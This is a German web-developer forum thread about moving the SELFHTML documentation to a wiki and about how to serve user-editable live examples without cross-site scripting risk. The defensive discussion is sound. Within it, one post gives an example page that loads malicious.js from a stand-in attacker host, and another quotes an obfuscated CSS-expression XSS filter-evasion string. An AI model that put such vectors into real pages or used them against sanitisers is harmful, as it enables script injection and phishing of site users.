      Auch bei JavaScript sollte man finde ich nicht konvertieren, sondern eine neue, der Thematik aus heutiger Sicht gerecht werdende Aufteilung schaffen und noch verwertbare Inhalte händisch in die neue Struktur kopieren. Glaubt mir, wenn ihr nur konvertiert und dann anfangt, Kosmetik zu betreiben, werdet ihr kein zeitgemäßes SELFHTML schaffen, sondern wieder nur ein aufgebohrtes SELFHTML 8.x.

      Perl würde ich ganz rausschmeißen. Das ist ein riesiger Brocken an fachlichem Know How, der aber im Web-Bereich kaum noch nachgefragt wird, und die Perl-Freaks haben ihre eigenen Quellen. Stattdessen würde ich serverseitiges Scripting zum einen im Zusammenhang mit Ajax-Beispielen bringen, und zum anderen verstärkt in Feature-Artikel auslagern, die einzelne Aspekte z.B. von PHP oder Java beleuchten.

      Sinnvoller fände ich stattdessen mehr über HTTP. Gerade im Zusammenhang mit Ajax kommen viele Bastler erstmals tiefer in Berührung mit den Möglichkeiten des HTTP-Protokolls. Allerdings sollte man dabei nicht versäumen, auch schon mal nach neueren Sachen zu schielen, wie z.B. den Websockets.

      Mag sein, dass euch das jetzt alles zu viel auf einmal erscheint. Aber ohne einen Bruch mit der bisherigen Doku wird eben nur ein SELFHTML-8.x in Wiki-Form daraus, und das wird wieder (zu Recht) die Kritiker auf den Plan rufen.

      • Bei SELFHTML gab es immer Beispiele ("Anzeigebeispiel: So sieht's aus"). Diese sollten in irgendeiner Form erhalten bleiben. Wenn allerdings jeder HTML-, CSS- und JavaScript-Dateien und mehr (man denke auch an Java, Flash und eventuell sogar PHP) hochladen kann sind Sicherheitslücken und Missbrauch vorprogrammiert. Lösungsansätze?

      Ich wollte in diesem Posting vermeiden, auf das Popel-Wiki hinzuweisen, aber bei der Steilvorlage ... jedenfalls dort geht so was (editierbar für jeden, der die Seite bearbeiten kann). Aber vielleicht gibt es ja eine vergleichbare Extension für MediaWiki, oder ihr schreibt selber so eine Sandbox.

      Wir sind sehr gespannt auf euer Feedback. Sobald die grundsätzlichen Fragen beantwortet sind wollen wir das Wiki freischalten. :-)

      Bin gespannt!

      viele Grüße
      Stefan Münz

      1. Hi!

        Ich würde die Chance des Umstiegs nutzen, um auch die Doku anders und neu zu strukturieren. Das wird ohnehin nötig sein, denn wer sich mal etwas mit HTML5 beschäftigt, wird bald einsehen, dass es, wenn man das im Rahmen von SELFHTML ordentlich beschreiben will, nicht damit getan ist, hier und da eine Seite für ein neues Element oder Attribut zu spendieren. HTML5 stellt fast alles auf den Kopf.

        Das wird aber nicht bedeuten, dass HTML4 und XHTML1 in kürzester Zeit verschwinden werden. Wäre es dann nicht sinnvoll, einerseits den bisherigen HTML4/XHTML1 beschreibenden Text zu übernehmen (und gegebenenfalls zu überarbeiten) und andererseits in einem - ich weiß nicht, wie die konkrete Wikistruktur heißt, ich sag mal: - daneben liegenden Verzeichnis die HTML5-Dokumentation neu zu erstellen?

        Lo!

        1. [...] daneben liegenden Verzeichnis die HTML5-Dokumentation neu zu erstellen?

          Wenn man näher den Prozess von HTML5 verfolgt, merkt man, dass vieles noch stark im Fluss ist und verändert wird, anderes dagegen ist schon eher stabil. Ihr könntet versuchen, die stabilen Inseln von HTML 5 zu identizieren, das sich andauernd Ändernde jedoch in einem seperaten Bereich langsam vorzubereiten.

      2. [latex]Mae  govannen![/latex]

        Perl würde ich ganz rausschmeißen.

        <anmerkung>RegExp und die Beschreibung der Syntax sollten dann allerdings im Javascript-Bereich auftauchen, auf den von JS unterstützen Umfang reduziert</anmerkung>

        Cü,

        Kai

        --
        Even if you are a master of jQuery, you can only create mediocre (at best)
        scripts. The problem is that the authors you rely on have not mastered the
        DOM themselves. It's like one blind guy leading another off a cliff (D.Mark/clj)
        Foren-Stylesheet Site Selfzeug JS-Lookup
        SelfCode: sh:( fo:| ch:? rl:( br:< n4:( ie:{ mo:| va:) js:| de:> zu:) fl:( ss:| ls:?
      3. Einen Nachteil sehe ich allerdings darin, dass MediaWiki letztlich für die Belange von Wikipedia entwickelt wurde und weiterentwickelt wird, und dass es deshalb einseitig für dokumentartige Strukturen optimiert ist.

        Wie würdest du die Einzelnen Dokumente der SELFHTML-Dokumentation nennen? "Non-Dokumente"? :p

        Ich wollte in diesem Posting vermeiden, auf das Popel-Wiki hinzuweisen, aber bei der Steilvorlage ... jedenfalls dort geht so was (editierbar für jeden, der die Seite bearbeiten kann). Aber vielleicht gibt es ja eine vergleichbare Extension für MediaWiki, oder ihr schreibt selber so eine Sandbox.

        Für HTML-, CSS- und JavaScript-Beispiele ist das sicher brauchbar ja - es verlangt aber, das man in die "Code-Box" ein entsprechendes HTML-Dokument packt. Aber sowas wäre mit ein paar Zeilen JavaScript umzusetzen, löst aber das Problem imho nicht wirklich (PHP, Flash, HTTP).

        1. Hallo suit,

          Wie würdest du die Einzelnen Dokumente der SELFHTML-Dokumentation nennen? "Non-Dokumente"? :p

          Ich meinte damit eher rein inhaltlich angeordnete Inhalte, im Gegensatz etwa zu den Inhalten eines Blogs. Keine Ahnung, ob man mit MediaWiki mittlerweile bloggen kann, inklusive User-Kommentaren, Pingbacks, mitgeführten Feeds usw. Aber ich fände es schade, wenn nicht nur das Forum, sondern auch noch das Blog ausgelagert werden müsste, und vielleicht auch noch irgendwas anderes, nur weil ein System verwendet wird, das eben auf Dokumente spezialisiert ist. Aber wahrscheinlich denkt hier fast jeder nur an die Doku, wenn es um die neue Plattform geht. Das ist meines Erachtens jedoch zu kurz gedacht. So eine Plattform könnte die Chance bieten, die eher "klassische" Doku mit neueren Formen der fachlichen Präsenz nahtlos zu mischen.

          Ich war ja selber auf dem MediaWiki-Trip 2006/2007, als der erste Wiki-Umsetzungsversuch lief. Und zu jener Zeit hatte ich auch eher die Doku im Blick. Aus meiner persönlichen Erfahrung der letzten zwei, drei Jahre kann ich jedoch sagen, dass ich es für wichtig halte, auch die heute üblichen Kanäle für Fachkommunikation zu nutzen. Und dazu gehört vor allem ein starkes, gepflegtes Blog.

          Aber ich will ja nicht unnötig schwarzmalen. Hier gibt es einige begnadete Tüftler, die werden auch die Quelltexte von MediaWiki aufbohren. Ich höre sie jetzt schon schimpfen ... :-)

          viele Grüße
          Stefan Münz

      4. Hallo Stefan,

        Ich wollte in diesem Posting vermeiden, auf das Popel-Wiki hinzuweisen, aber bei der Steilvorlage ... jedenfalls dort geht so was (editierbar für jeden, der die Seite bearbeiten kann).

        Das ist nicht wirklich gesandboxed, hab das gerade mal ausprobiert. Da das ne andere Subdomain ist, gilt wenigstens die Same Origin Policy - und weil's ne andere TLD ist, kann man wenigstens keine Cookies abgreifen. Allerdings: Man kann dennoch problemlos beliebigen (!) JS-Code injizieren. Für ein Beispiel: Lad bitte mal obige Seite neu...

        Stell Dir nun vor, ich hätte statt einer Umleitung auf Google als JS-Code in die obige Seite eine Umleitung auf eine Phishing-Seite gemacht, die genau so aussieht (am besten weil's ein Proxy ist, der die Seite verändert, wäre *sehr* simpel aufzusetzen...) Die dann z.B. User & Passwort vom SELFHTML-Wiki abgreift. Und stell Dir vor, Leute, die die Seite besucht haben, melden sich dann auf der Phishing-Seite an und haben das gleiche Passwort für's SELFHTML-Wiki wie für eine andere Online-Community verwendet.

        Btw: Weil WikiDot zwingend JS benötigt, wirst Du Probleme haben, meine Demo wieder wegzubekommen. Falls Du Dich nicht mit rumägern willst: Ich mach die am Sonntag abend wieder weg.

        Dummerweise können wir bei Beispielseiten JS oder bestimmtes HTML wie IFrames auch nicht so ohne weiteres herausfiltern (wie wir's z.B. in den Weblogkommentaren tun, wo man HTML eingibt), weil wir eben diese Dinge auf den Beispielseiten demonstrieren wollen.

        Und daher glaube ich auch nicht, dass es da eine rein technische Lösung geben *kann*.

        Dass gleiche was Du da auf WikiDot hast sofort in MediaWiki einzubauen ist die eine Sache - kein Thema, das kriege ich in einer Stunde hin. Aber eine sinnvolle Lösung dafür zu finden ist in meinen Augen etwas, was weitaus komplizierter ist.

        Viele Grüße,
        Christian

        1. Hallo Christian,

          OK, danke für die Ernüchterung! :-)
          Ich werde das auch mal an Wikidot melden (also um auf die Problematik hinzuweisen).

          Als Gegenargument kann man da höchstens noch anführen, dass Schadcode-Injizierung zwar sehr ärgerliche Folgen für betroffene User haben kann, aber aus Betreibersicht letztlich weniger problematisch als wenn z.B. in einer stillen Stunde jemand die Erläuterungen zu Überschriften in HTML mit einem nazistischen Pamphlet überschreibt, das zur Judenhatz aufruft. Das kann man auch erst "bei Entdecken" wieder ändern. Was ich damit sagen will: man muss bei jeder Art von Offenheit mit einem worst case rechnen. Es ist auch gut so, wenn man den mit bedenkt. Aber wenn man sich davon leiten lässt, muss am Ende die Offenheit wieder dran glauben. Beides auf einmal (Sicherheit und Offenheit) bekommt man eben immer nur bis zu einem gewissen Grad.

          viele Grüße
          Stefan Münz

          1. Hallo Stefan,

            OK, danke für die Ernüchterung! :-)
            Ich werde das auch mal an Wikidot melden (also um auf die Problematik hinzuweisen).

            Die wissen das sicher schon. Die liefern das ja nicht ohne Grund von einer anderen TLD aus, damit eben Same Origin Policy greift und deswegen kein direkter JS-Zugriff auf die eigentliche Seite sowie kein Abgreifen von Cookies möglich ist. Das ist dann natürlich schonmal deutlich besser als wenn das wirklich "richtiges" XSS wäre, aber ich halte das in seiner jetztigen Ausführung schon für extrem problematisch. (Die Betreiber von WikiDot sind da offensichtlich anderer Meinung.)

            Man kombiniere das obige z.B. mit einem Browserbug, dass die Same-Origin-Policy nicht korrekt forciert wird (gab's ETLICHE quer durch die Landschaft in der Vergangenheit), und schwupp, man hat richtiges XSS...

            Als Gegenargument kann man da höchstens noch anführen, dass Schadcode-Injizierung zwar sehr ärgerliche Folgen für betroffene User haben kann, aber aus Betreibersicht letztlich weniger problematisch als wenn z.B. in einer stillen Stunde jemand die Erläuterungen zu Überschriften in HTML mit einem nazistischen Pamphlet überschreibt, das zur Judenhatz aufruft.

            Eine geschickt gemachte Schadcode-Injizierung bemerkt man aber lange nicht so schnell...

            Nicht umsonst haben wir z.B. hier im Forum IFrames deaktiviert (das ging früher mal) - das haben irgendwann mal Leute missbraucht und wir haben dem Einhalt geboten. Und nicht umsonst habe ich bei der XSS-Lücke, die am Anfang der Woche im Forum entdeckt wurde, erstmal alles andere stehen und liegen gelassen bis ich sie gefixed hatte.

            Beides auf einmal (Sicherheit und Offenheit) bekommt man eben immer nur bis zu einem gewissen Grad.

            Letztendlich bin ich für die Sicherheit des Webangebots verantwortlich und das ist einer der Punkte, wo ich einfach eine Grenze ziehe.

            Viele Grüße,
            Christian

            1. Hallo nochmal,

              Beides auf einmal (Sicherheit und Offenheit) bekommt man eben immer nur bis zu einem gewissen Grad.

              Letztendlich bin ich für die Sicherheit des Webangebots verantwortlich und das ist einer der Punkte, wo ich einfach eine Grenze ziehe.

              Nochwas, fällt mir gerade ein: Da so viele Leute das so extrem schlecht machen, ist Sicherheit eines der Gebiete, auf dem wir bei SELFHTML wenigstens versuchen sollten, mit gutem Beispiel voran zu gehen. Dann können nämlich Leute guten Gewissens auf Artikel zu der Problematik bei uns verlinken.

              Viele Grüße,
              Christian

        2. Lieber Christian,

          Das ist nicht wirklich gesandboxed

          mir kam zu diesem Problem eine unausgegorene Idee. Stell' Dir mal folgendes vor:

          In der Doku wird ein Code-Beispiel vorgeführt. Dieses Code-Beispiel enthält einen Dateinamen und allen Code, um eine Beispieldatei darzustellen. Die Wiki-Software "erkennt", dass hier ein vollständiges Dokument (oder eine Gruppe solcher) vorliegt und:

          1.) bietet einen "Download-Link" an, über den eine ZIP-Datei generiert wird, in der diese Datei(en) dann enthalten ist (sind), um das Beispiel lokal testen zu können.

          2.) bietet einen Test-Link an, der eine neue Seite öffnet, in der die Inhalte des ZIP-Datei-Vorschlags aus 1.) enthalten sind, und live ausprobiert werden können.

          Diese Idee bietet eine kleine Kontrolle über die Inhalte an, da tatsächlich nur der Code in den Beispieldateien enthalten ist, der in der Doku an Ort und Stelle auch tatsächlich steht.

          Was meinst Du dazu?

          Liebe Grüße,

          Felix Riesterer.

          --
          ie:% br:> fl:| va:) ls:[ fo:) rl:° n4:? de:> ss:| ch:? js:) mo:} zu:)
          1. Hallo,

            [ZIP und sowas]
            Diese Idee bietet eine kleine Kontrolle über die Inhalte an, da tatsächlich nur der Code in den Beispieldateien enthalten ist, der in der Doku an Ort und Stelle auch tatsächlich steht.

            Was meinst Du dazu?

            Halte ich für den Leser schon für zu kompliziert. Ich persönlich würde eher sowas in der folgenden Art bevorzugen:

            1. Im Wiki gibt man den Quelltext zur Beispielseite + evtl. zusätzliche
                Dinge an.

            2. Jeder kann das bearbeiten, aber Defaultmäßig wird der Inhalt nicht als
                HTML ausgeliefert.

            3. Bestimmte User haben die Möglichkeit, diese Beispiele "freizuschalten",
                dann kann man sie auch anzeigen.

            4. Bei Edits an bereits freigeschalteten Beispielen wird der Zustand wieder
                zurückgesetzt (d.h. man muss sie neu freischalten).

            5. Wenn ein User, der sowas freischalten darf, editiert, dann ist sofort
                freigeschaltet.

            Damit wäre zum einen die Möglichkeit da, dass jeder Beispiele korrigieren darf, andererseits gäbe es aber eine Kontrolle, dass da nichts passiert. Und die Leute, die sich durch regelmäßige Arbeit an der Doku auszeichnen, bekommen das Recht, diese Kontrolle durchzuführen und selbst Beispiele direkt einzustellen, ohne weitere Zwischenstufe. Ich glaube, das ist ein guter Kompromiss.

            Viele Grüße,
            Christian

            1. Lieber Christian,

              Dein Kompromiss ist im Grunde gut... nur eben "kompliziert". Wenn ich in der gegenwärtigen 8er-Doku den Link "so sieht's aus" anklicke, dann habe ich ein live-Beispiel. Dieses enthält im Wesentlichen den gerade in der Doku besprochenen Code. Mein Vorschlag erreicht exakt dasselbe, nur dass eben manche zwingend notwendigen Code-Bestandteile (z.B. Grundgerüst einer HTML-Datei) zusätzlich im Beispielcode stehen müssen. Mittels CSS (und eventuellem JavaScript) könnte man aber diese Teile im Doku-Text "ausblenden", sodass die Codebeispiele in der Doku auf ihre relevanten Bestandteile reduziert angezeigt werden - wie man es in der 8er-Doku gewohnt ist, aber beim Klick auf den "so siehst's aus"-Link eben zu einem vollständigen Codebeispiel führen.

              1. Bei Edits an bereits freigeschalteten Beispielen wird der Zustand wieder
                    zurückgesetzt (d.h. man muss sie neu freischalten).

              2. Wenn ein User, der sowas freischalten darf, editiert, dann ist sofort
                    freigeschaltet.

              Klingt gut, aber eben "kompliziert". Ich bin für einfach und Hemmschwellen-reduziert. Kann sein, dass das in der Praxis nicht sinnvoll ist - aber einen Versuch fände ich es wert!

              Liebe Grüße,

              Felix Riesterer.

              --
              ie:% br:> fl:| va:) ls:[ fo:) rl:° n4:? de:> ss:| ch:? js:) mo:} zu:)
              1. Hallo Felix,

                Dein Kompromiss ist im Grunde gut... nur eben "kompliziert".

                Inwiefern ist der komplizierter als Deiner?

                Wenn ich in der gegenwärtigen 8er-Doku den Link "so sieht's aus" anklicke, dann habe ich ein live-Beispiel.

                Ja, so soll's ja auch weiterhin sein. Nur, dass der Link halt manchmal ausgegraut ist, wenn das Beispiel noch nicht kontrolliert wurde.

                Klingt gut, aber eben "kompliziert".

                Was wäre daran kompliziert?

                Situation 1: Ein User, der viel an SELFHTML editiert hat bearbeitet ein Beispiel. Das Beispiel ist sofort für alle online sichtbar. (Wie man das Beispiel im Source jetzt genau angibt dass vielleicht nur teile angezeigt werden oder was weiß ich wäre ja die zweite Frage, die mit der Problematik nichts zu tun hat.)

                Situation 2: Ein User, der sich gerade erst registriert hat, bearbeitet eine Anzeigebeispiel. Der Code des Beispiels wird weiterhin sofort angezeigt, der Link "So sieht's aus" wird aber ausgegraut. Ein regulärer User kann in der Liste "Letzte Änderungen" sehen, dass es so ein Beispiel gibt, kurz drübersehen und es dann freischalten.

                Und ich habe ja kein Problem damit, dass jemand, der regelmäßig was zur Doku beiträgt (und wenn es nur kleine Rechtschreibkorrekturen sind), da was hochladen darf. Von denen sehe ich keine Gefahr. Die können gerne so schnell wie möglich die Rechte dazu bekommen. Die Gefahr kommt von Spammern, Phishern und der gleichen, die die Plattform ausnutzen wollen.

                Viele Grüße,
                Christian

                1. Hallo,

                  Situation 2: Ein User, der sich gerade erst registriert hat, bearbeitet eine Anzeigebeispiel. Der Code des Beispiels wird weiterhin sofort angezeigt, der Link "So sieht's aus" wird aber ausgegraut.

                  ... oder bleibt aktiv, verweist aber weiterhin auf das bisherige Beispiel von vor der Änderung. Daneben vielleicht ein Hinweis (ähnlich Wikipedia): Es gibt eine noch nicht freigegebene Änderung dieses Anzeigebeispiels.

                  So long,
                   Martin

                  --
                  Drei Sachen vergesse ich immer wieder: Telefonnummern, Geburtstage und ... äääh ...
                2. Lieber Christian,

                  Inwiefern ist der komplizierter als Deiner?

                  von der "user experience" her. Lass' es mich erklären:

                  Situation 2: Ein User, der sich gerade erst registriert hat, bearbeitet eine Anzeigebeispiel. Der Code des Beispiels wird weiterhin sofort angezeigt, der Link "So sieht's aus" wird aber ausgegraut. Ein regulärer User kann in der Liste "Letzte Änderungen" sehen, dass es so ein Beispiel gibt, kurz drübersehen und es dann freischalten.

                  Ein User, der sich gerade eben erst angemeldet hat, wird mit dem System möglicherweise noch nicht sehr vertraut sein. Das kommt meiner Erfahrung nach erst später beim (Ein-)Arbeiten. Dass er in einer Historie nachschauen muss, wie ein Beispiel früher hätte gewesen sein können, ist nicht intuitiv. Meine Lösung dagegen schon (vielleicht zu Lasten einer gewissen "Sicherheit").

                  Und ich habe ja kein Problem damit, dass jemand, der regelmäßig was zur Doku beiträgt (und wenn es nur kleine Rechtschreibkorrekturen sind), da was hochladen darf.

                  Schon wieder ein weiterer (Bearbeitungs-)Schritt, der in meinen Augen vermeidbar ist. Bei meinem Vorschlag muss niemand irgendetwas hochladen. Er editiert Text (oder auch Code im Text) und fertig. Das System generiert den Link zum live-Beispiel und wertet die Parameter des Links entsprechend aus. Der Benutzer und der Doku-Besucher interessieren sich weder für Uploads, ausgegraute Links, alte Versionen einer Datei in der Historie, noch für irgendetwas sonst. Der Autor tut nur eines: Er schreibt an der Doku. Und so soll es ja auch sein!

                  Dieser Vorschlag hat auch den Vorteil, dass ein dafür notwendiges Modul, welches diese Funktionalität bereitstellt, im Verlauf der Arbeiten an der Doku parallel zum Prozess des Inhalteschreibens entstehen kann und nicht bei Freigabe des Wikis sofort vorhanden und funktional sein muss. Es lässt sich _nachträglich_ einbringen und kann auf bereits vorhandene Strukturen (intelligent?) reagieren! Dabei erleichtert es das Aktualisieren der Beispiele, indem es eine "doppelte Datenhaltung" hinfällig macht - es entsteht ein zwingender Zusammenhang zwischen Doku-Text und live-Beispiel. Einfacher (von der user-experience her betrachtet) geht es echt nimmer! Warum also nicht so?

                  KISS - keep it simple stupid. Verzeih' mir, aber als Lehrer mache ich so meine Erfahrungen mit "intuitiv"... und mache von daher meine Vorschläge entsprechend.

                  Liebe Grüße,

                  Felix Riesterer.

                  --
                  ie:% br:> fl:| va:) ls:[ fo:) rl:° n4:? de:> ss:| ch:? js:) mo:} zu:)
                  1. Hallo Felix,

                    Bei meinem Vorschlag muss niemand irgendetwas hochladen. Er editiert Text (oder auch Code im Text) und fertig. Das System generiert den Link zum live-Beispiel und wertet die Parameter des Links entsprechend aus.

                    Also verstehe ich Dich richtig? Der User schreibt sowas wie (schemenhaft):

                    <<code>>
                    <html>
                      <title>Test</title>
                      <p>Test</p>
                    </html>
                    <</code>>

                    und dann wird ein automatischer Link generiert, der genau das anzeigt, was da eingegeben wurde?

                    Das ist doch *genau* das (abzüglich IFrame), was Stefan bereits auf seiner WikiDot-Seite hat. (Und was ich schon kritisiert habe.)

                    Ich glaube, wir diskutieren auf zwei völlig verschiedenen Ebenen. Mir geht es *überhaupt nicht* darum, ob jemand den Code schon beim Bearbeiten der Seite eingibt und da automatisch was extrahiert oder jemand in einem separaten Schritt etwas hochlädt - das hat ÜBERHAUPT nichts mit dem Problem zu tun, um das es mir hier geht, das ist beides VÖLLIG ÄQUIVALENT aus meiner Perspektive.

                    Mir geht es darum, dass wenn jemand irgendwo HTML-Code hochladen oder eingeben oder was auch immer kann und dieser Code dann später vom Server wieder als HTML-Seite an den Browser ausgeliefert wird, *DANN* hast Du potentielles Cross-Site-Scripting. Das ist es, was ich mit "hochladen" in diesem Zusammenhang meine: Den Server irgendwie dazu zu bringen, HTML-Code ungefiltert als eigenständige HTML-Seite auszuliefern. Ob das jetzt aus einem Textfeld extrahiert wird oder jemand eine reale Datei in ein Upload-Formularfeld steckt, ist aus Sicherheitsgründen *völlig* irrelevant.

                    Wenn Du etwas anderes meinst, dann würde ich Dich bitten, mal ein paar Beispiele zu machen, was Du haben willst, denn dann habe ich überhaupt nicht verstanden, worauf Du hinauswillst.

                    Viele Grüße,
                    Christian

                    1. Lieber Christian,

                      <<code>>
                      <html>
                        <title>Test</title>
                        <p>Test</p>
                      </html>
                      <</code>>

                      und dann wird ein automatischer Link generiert, der genau das anzeigt, was da eingegeben wurde?

                      Du hast mich völlig richtig verstanden.

                      Das ist doch *genau* das (abzüglich IFrame), was Stefan bereits auf seiner WikiDot-Seite hat. (Und was ich schon kritisiert habe.)

                      Ist es das wirklich? Der User sieht ja im Grunde vorher, welches Dokument da geöffnet wird und was es enthält. Wenn dann pöhse Scripte inkludiert werden (siehe folgendes Beispiel), dann ist das sicherlich nicht wünschenswert, aber dann kannst Du ja noch immer mit Deinem redaktionellen Freigeben kommen.

                      <<code test.html>>

                      <html>  
                          <head>  
                              <title>Test-Seite</title>  
                              <script type="text/javascript" src="http://xssattacker.example.org/malicious.js"></script>  
                          </head>  
                          <body>  
                              <h1>Test der Dummheit</h1>  
                              <p>You have been OWNED!!!</p>  
                          </body>  
                      </html>
                      

                      <</code>>

                      Ich glaube, wir diskutieren auf zwei völlig verschiedenen Ebenen.

                      Dir geht es um Sicherheit, mir geht es um intuitives Bedienen. Dass das eine mit dem Anderen im Grunde zunächst nichts zu tun hat, ist mir klar.

                      potentielles Cross-Site-Scripting

                      Die Ausgabe kann ja prüfen, ob externe Scripte geladen werden sollen, oder nicht. Und das kann ja unterbunden werden, indem nur "lokale" Scripte überhaupt im HTML-Code erlaubt werden. Dass die eventuell externe Scripte "nachladen" ist zwar ein Problem, aber auch das lässt sich sicherlich in der ein oder anderen Weise lösen. Z.B. indem man für ein Beispiel den JS-Code ausbremst, bis er "zugelassen" ist. Das beträfe dann nur JS-Komponenten in Beispielen der Doku, was dann besonders das JavaScript-Kapitel ausbremsen würde - aber den HTML- und CSS-Bereich ungebremst bearbeitbar macht.

                      Liebe Grüße,

                      Felix Riesterer.

                      --
                      ie:% br:> fl:| va:) ls:[ fo:) rl:° n4:? de:> ss:| ch:? js:) mo:} zu:)
                      1. Hallo,

                        Das ist doch *genau* das (abzüglich IFrame), was Stefan bereits auf seiner WikiDot-Seite hat. (Und was ich schon kritisiert habe.)

                        Ist es das wirklich? Der User sieht ja im Grunde vorher, welches Dokument da geöffnet wird und was es enthält.

                        Und wie soll ein unbedarfter User entscheiden können, ob das Beispiel sicher ist?

                        Und v.a.: Wenn man gerade bei den Beispielen nicht den vollen Beispielcode anzeigen will sondern nur die relevanten Teile (und da bin ich stark dafür), dann sieht der User eben *nicht*, was da alles drin ist...

                        aber dann kannst Du ja noch immer mit Deinem redaktionellen Freigeben kommen.

                        Du tust das Problem ab, als ob das zweitrangig wäre. Das ist es nicht. Die Sicherheitsüberlegungen zeigen den Rahmen auf für das, was möglich ist. Und innerhalb dieser Grenzen muss man sich überlegen, wie man die anderen Kriterien, die man hat, am sinnvollsten umsetzt.

                        [extrem komplizierte Filterideen]

                        Aus Erfahrung kann ich Dir da sagen, dass das nicht praktikabel ist. Entweder ist der Filter zu restriktiv (wir wollen wie gesagt *alles* an HTML/CSS/JS als mögliche Beispiele anbieten, wir schreiben ja ne Doku. Das ist kein Standard-Use-Case.) oder er hat Lücken.

                        Wie erwähnt: Ich glaube nicht, dass es eine technische Lösung für das Problem gibt.

                        Viele Grüße,
                        Christian

                        1. Lieber Christian,

                          Und wie soll ein unbedarfter User entscheiden können, ob das Beispiel sicher ist?

                          das ist natürlich nicht seine Aufgabe, sondern die der Redaktieure, die das Beispiel entsperren.

                          Und v.a.: Wenn man gerade bei den Beispielen nicht den vollen Beispielcode anzeigen will sondern nur die relevanten Teile (und da bin ich stark dafür), dann sieht der User eben *nicht*, was da alles drin ist...

                          Dazu bräuchte es diese berühmten Faltmechanismen mit "alles zeigen/Teile verbergen"-Links, ähnlich dem "hide contents"-Link in der Übersicht einer Artikelseite bei WikiPedia. Aber im Grunde hast Du Recht, der unbedarfte User sieht eben nicht mehr den ganzen Code.

                          aber dann kannst Du ja noch immer mit Deinem redaktionellen Freigeben kommen.

                          Du tust das Problem ab, als ob das zweitrangig wäre. Das ist es nicht.

                          Deine Sicherheitsbedenken sind vollkommen angebracht und wesentlich. Sie kommen aber erst dann zum Tragen, wenn man sich dafür entschieden hat, wie man das mit den Beispielseiten technisch tatsächlich lösen möchte.

                          [extrem komplizierte Filterideen]

                          Hehe, "extrem kompliziert"? Etwa so wie das Nachschlagen von Versionen in der Artikelhistorie? *g* Im Grunde sind doch nur JavaScript-Funktionalitäten tatsächlich sicherheitsrelevant (von IE-spezifischen Expressions in CSS einmal abgesehen). Daher kann ja mit diesen "extrem komplizierten Filterideen" jedweder potenziell gefährliche Inhalt solange ausgefiltert werden, bis ein Redakteur das Beispiel in der gegenwärtigen Fassung als unbedenklich freigibt.

                          Ich finde, dass man Deine Sicherheitsüberlegungen unbedingt mit einer einfachstmöglichen "user experience" kreuzen muss, wenn ein befriedigendes Arbeiten für technisch weniger versierte Autoren möglich sein soll. Und das Schönste: Es hat mit diesen Überlegungen keine Eile. Autoren können ungehindert schreiben während wir uns hier die Köpfe über zukünftige Probleme zerbrechen!

                          Aus Erfahrung kann ich Dir da sagen, dass das nicht praktikabel ist. Entweder ist der Filter zu restriktiv (wir wollen wie gesagt *alles* an HTML/CSS/JS als mögliche Beispiele anbieten, wir schreiben ja ne Doku. Das ist kein Standard-Use-Case.) oder er hat Lücken.

                          Lass' mich mal überlegen, ob das wirklich so unpraktikabel ist:

                          1.) Code-Beispiel finden
                          2.) Version prüfen
                          3.) Version auf Freigabe prüfen
                          4.) bei fehlender Freigabe Filter anwenden:
                              - jedes <script>-Element entfernen
                              - jedes Eventhandler-Attribut entfernen
                              - jede Expression aus dem Code entfernen

                          Habe ich etwas vergessen?

                          Wie erwähnt: Ich glaube nicht, dass es eine technische Lösung für das Problem gibt.

                          alert("glauben" == "nicht wissen"); // true

                          Ich behaupte, dass es eine technische Lösung gemäß meinem Vorschlag gibt.

                          Liebe Grüße,

                          Felix Riesterer.

                          --
                          ie:% br:> fl:| va:) ls:[ fo:) rl:° n4:? de:> ss:| ch:? js:) mo:} zu:)
                          1. Hallo Felix.

                            Lass' mich mal überlegen, ob das wirklich so unpraktikabel ist:

                            1.) Code-Beispiel finden
                            2.) Version prüfen
                            3.) Version auf Freigabe prüfen
                            4.) bei fehlender Freigabe Filter anwenden:
                                - jedes <script>-Element entfernen
                                - jedes Eventhandler-Attribut entfernen
                                - jede Expression aus dem Code entfernen

                            Punkt 4 ist m.E. unpraktikabel.
                            Schau dir dazu mal die Möglichkeiten an, XSS zu betreiben.

                            Beispiel:

                            exp/*<A STYLE='no\xss:noxss("*//*");  
                            xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>
                            

                            Alle diese verschiedenen XSS-Varianten abzufangen, macht weder Spaß noch ist garantiert, dass man nicht eine vergessen hat.

                            Servus,
                            Flo

                          2. Hallo

                            Und wie soll ein unbedarfter User entscheiden können, ob das Beispiel sicher ist?

                            das ist natürlich nicht seine Aufgabe, sondern die der Redaktieure, die das Beispiel entsperren.

                            Ach, dem Link zur potentiell gefährlichen Beispielseite darf er, der unbedarfte User, aber folgen? MMn gehst du reichlich blauäugig an die Sache ran.

                            Und v.a.: Wenn man gerade bei den Beispielen nicht den vollen Beispielcode anzeigen will sondern nur die relevanten Teile (und da bin ich stark dafür), dann sieht der User eben *nicht*, was da alles drin ist...

                            Dazu bräuchte es diese berühmten Faltmechanismen mit "alles zeigen/Teile verbergen"-Links, ähnlich dem "hide contents"-Link in der Übersicht einer Artikelseite bei WikiPedia. Aber im Grunde hast Du Recht, der unbedarfte User sieht eben nicht mehr den ganzen Code.

                            Eben, es benutzt auch nicht jeder die Faltmechanismen. Von der Fähigkeit des Anfängers, für den die Doku auch da ist, den Quelltext eines Beispiels in all seinen Teilen zu verstehen bevor er dem Link zum praktischen Beispiel folgt, wollen wir mal garnicht anfangen.

                            Deine Sicherheitsbedenken sind vollkommen angebracht und wesentlich. Sie kommen aber erst dann zum Tragen, wenn man sich dafür entschieden hat, wie man das mit den Beispielseiten technisch tatsächlich lösen möchte.

                            Aber darum geht es doch. Wie soll man die Transformation der Code-Beispiele zu deren praktischer Ausführung als beispielseiten handeln? Sollen die Codes vor ihrer "Zulassung" als Beispielseiten redaktionell geprüft werden oder nicht. Ich denke, sie sollten definitiv geprüft werden.

                            [extrem komplizierte Filterideen]

                            Hehe, "extrem kompliziert"? Etwa so wie das Nachschlagen von Versionen in der Artikelhistorie?

                            Wieso redest du eigentlich immer wieder vom kramen in der Artikelhistorie? Davon hat, außer dir, nemand sonst gesprochen.

                            Ich finde, dass man Deine Sicherheitsüberlegungen unbedingt mit einer einfachstmöglichen "user experience" kreuzen muss, wenn ein befriedigendes Arbeiten für technisch weniger versierte Autoren möglich sein soll.

                            Ein Autor gibt Beispielcode ein oder ein Autor gibt Beispielcode ein. Kein Unterschied im Handling. Der Unterschied zwischen deinen Filtern und Christians Prüfung besteht darin, dass Christian sagt, der Code muss geprüft werden *bevor* er als Grundlage für eine Beispielseite fungiert. Dem kann ich nur beipflichten.

                            Tschö, Auge

                            --
